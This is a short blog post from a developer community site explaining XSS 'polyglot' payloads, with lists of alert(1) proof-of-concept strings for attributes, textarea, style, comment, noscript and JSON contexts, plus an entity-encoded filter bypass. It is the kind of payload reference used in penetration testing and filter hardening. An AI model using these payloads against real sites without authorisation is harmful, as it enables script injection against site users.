DEV Community

Mrhili Mohamed Amine
Mrhili Mohamed Amine

Posted on

What is a polyglot in Hacking

Polygloting in language is talking two languages or more

Polygloting in hacking is like testing two thing or more in the same time

XSS Polyglots: Technical Payloads
Basic Polyglot Example
Escape common string filters in both HTML and JavaScript contexts.

<img src=x onerror="';alert(1)//">
Enter fullscreen mode Exit fullscreen mode

This works in cases where an input is included in both JavaScript and HTML, bypassing simple quote escapes.

Escaping Multiple Contexts
HTML + JavaScript + SQL:

';alert(1);//--><img src=x onerror=alert(1)>"
Enter fullscreen mode Exit fullscreen mode

Exploits SQL injection followed by triggering a JavaScript alert within HTML.

Injecting Through HTML Attributes
Use different HTML elements and attributes to escape.

<div class="{{payload}}"></div>
<script type="text/javascript">{{payload}}</script>
<style>{{payload}}</style>
<textarea>{{payload}}</textarea>
Enter fullscreen mode Exit fullscreen mode

Polyglot Payload:

" onmouseover=alert(1)//
' onmouseover=alert(1)//
</textarea><svg onload=alert(1)>"
Enter fullscreen mode Exit fullscreen mode

XSS via Multiple HTML Tags
Expand attack vectors by targeting various HTML tags:

<noscript>{{payload}}</noscript>
<noembed>{{payload}}</noembed>
<template>{{payload}}</template>
<select><option>{{payload}}</option></select>
Enter fullscreen mode Exit fullscreen mode

Polyglot Payload:

" onmouseover=alert(1)// 
' onmouseover=alert(1)// 
</textarea><svg onload=alert(1)>
</style><svg onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode

XSS in HTML Comments
Even comments can be abused if not properly sanitized.

<!--{{payload}}-->
Enter fullscreen mode Exit fullscreen mode

Polyglot Payload:

--><svg onload=alert(1)> 
Enter fullscreen mode Exit fullscreen mode

Advanced Payload Combination
Combine various contexts to craft a versatile polyglot:

<div class="{{payload}}"></div>
<textarea>{{payload}}</textarea>
<style>{{payload}}</style>
<script>{{payload}}</script>
<!--{{payload}}-->
Enter fullscreen mode Exit fullscreen mode

Ultimate Polyglot Payload:

" onmouseover=alert(1)//
' onmouseover=alert(1)//
<img src onerror=alert(1)>
</textarea><svg onload=alert(1)>
</style><svg onload=alert(1)>
</noscript><svg onload=alert(1)>
</noembed><svg onload=alert(1)>
--><svg onload=alert(1)>
Enter fullscreen mode Exit fullscreen mode

Obfuscated Payload
Use HTML entities or JavaScript obfuscation to bypass filters:

<svg/onload='&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;'>
Enter fullscreen mode Exit fullscreen mode

JSON + XSS Polyglot
If the payload is passed into JSON:

{"key":"\"},\"anything\":\"<img src=x onerror=alert(1)>//"}
Enter fullscreen mode Exit fullscreen mode

This closes the JSON key, injects the XSS, and continues the valid JSON.

Conclusion
These payloads represent different ways of exploiting XSS vulnerabilities using polyglots. By targeting multiple contexts—such as attributes, scripts, and comments—you increase your chances of bypassing filters and exploiting vulnerabilities effectively.

This approach makes it versatile, with focus on injecting through multiple contexts using minimal characters.

Top comments (0)